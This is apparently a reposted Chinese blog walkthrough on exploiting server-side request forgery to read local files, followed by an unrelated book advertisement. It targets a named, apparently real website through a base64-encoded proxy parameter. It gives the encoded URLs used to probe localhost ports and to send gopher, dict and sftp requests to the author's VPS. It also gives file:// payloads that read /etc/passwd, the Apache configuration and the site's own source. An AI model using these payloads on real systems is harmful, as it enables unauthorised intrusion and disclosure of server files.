我发现一个存在SSRF的随机web网站，为了利用它我应该将输入数据编码为base64格式，下面是正常的URL，这会将我们定位到我们提供的url地址上面去
http://playfreedownloadgames.com:2483/proxy.php?url=aHR0cDovL3d3dy50b3A4MHNnYW1lcy5jb20vc2l0ZS9jb250ZW50L3BhY21hbg==
所以让我们尝试编码 http://127.0.0.1:80，并将它传给url参数aHR0cDovLzEyNy4wLjAuMTo4MA==
http://playfreedownloadgames.com:2483/proxy.php?url=aHR0cDovLzEyNy4wLjAuMTo4MA==
尝试一下443端口
出现Bad Request响应是因为我们使用HTTP但是使用了443端口。现在我们继续尝试gopher、dict和sftp。我将在我的VPS中监听1337端口
gopher://my_vps_ip:1337/_pacenoge dict://my_vps_ip:1337 sftp://my_vps_ip:1337
可以看到上述请求都成功了。但还有什么我们没有尝试呢？对了，是file:///etc/passwd
file:///etc/passwd
接着我想看看httpd.conf
file:///etc/httpd/conf/httpd.conf
通过阅读httpd.conf文件我知道了web服务的根目录/home/playfreedownloadgames/public_html 所以我可以读取proxy.php的文件内容
file:////home/playfreedownloadgames/public_html/proxy.php
以上所述就是小编给大家介绍的《第十四篇：SSRF读取本地文件》，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持！
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
深入理解并行编程
[美] Paul E.Mckenney（保罗·E·麦肯尼) / 谢宝友 鲁阳 / 电子工业出版社 / 2017-7-1 / 129
《深入理解并行编程》首先以霍金提出的两个理论物理限制为引子，解释了多核并行计算兴起的原因，并从硬件的角度阐述并行编程的难题。接着，《深入理解并行编程》以常见的计数器为例，探讨其不同的实现方法及适用场景。在这些实现方法中，除了介绍常见的锁以外，《深入理解并行编程》还重点介绍了RCU的使用及其原理，以及实现RCU的基础：内存屏障。最后，《深入理解并行编程》还介绍了并行软件的验证，以及并行实时计算等内容......一起来看看 《深入理解并行编程》 这本书的介绍吧!
